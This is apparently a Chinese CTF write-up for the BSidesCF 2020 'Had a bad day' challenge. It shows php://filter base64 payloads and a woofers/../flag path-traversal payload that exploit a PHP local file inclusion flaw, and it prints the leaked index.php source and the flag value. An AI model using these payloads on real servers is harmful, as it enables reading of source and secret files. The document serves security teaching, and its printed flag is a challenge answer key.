[BSidesCF 2020]Had a bad day1

题目

这里有传参

文件包含使用伪协议读取flag

先读取index.php查看

复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=index

解码

index.php源码

php 复制代码
              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

传入的category需要有woofers,meowers,index才能包含传入以传入名为文件名的文件,我们要想办法包含flag.php

尝试直接读取/index.php?category=woofers/../flag

php 复制代码
/index.php?category=php://filter/read=convert.base64-encode/resource=woofers/../flag

解码

拿下flag

flag{85254eba-a050-49cd-a3be-4e9859e51241}

相关推荐
春风解人意22 分钟前
从零开始学习嵌入式P32----网络基础之TCP
c语言·网络·学习·tcp/ip
传奇开心果编程2 小时前
【Rust入门知识点学与练】第21课:Trait 进阶 Advanced Traits
开发语言·学习·rust
水巷石子2 小时前
备考系统架构设计师第一天
学习·架构·软考·设计·考试
是隼人3 小时前
buuctf-pwn inndy_echo(32位fmt)题解(学习过程持续更新)
c语言·学习·安全·pwn入门·ctf入门
xian_wwq4 小时前
【学习笔记】深度认知系列-第16讲-提示词工程
人工智能·笔记·学习
洛阳纸贵4 小时前
MATLAB-matlab基础知识
学习·算法·matlab
Vcaker4 小时前
Linux学习25-harbor私有仓库部署
linux·运维·学习
留白_4 小时前
【tableau入门学习】5、筛选器、参考线和集
学习·tableau
youm20035 小时前
认识Redis
redis·笔记·学习
亮工硬件5 小时前
1-11 STM32内部FLASH(数据掉电保存)
笔记·stm32·单片机·嵌入式硬件·学习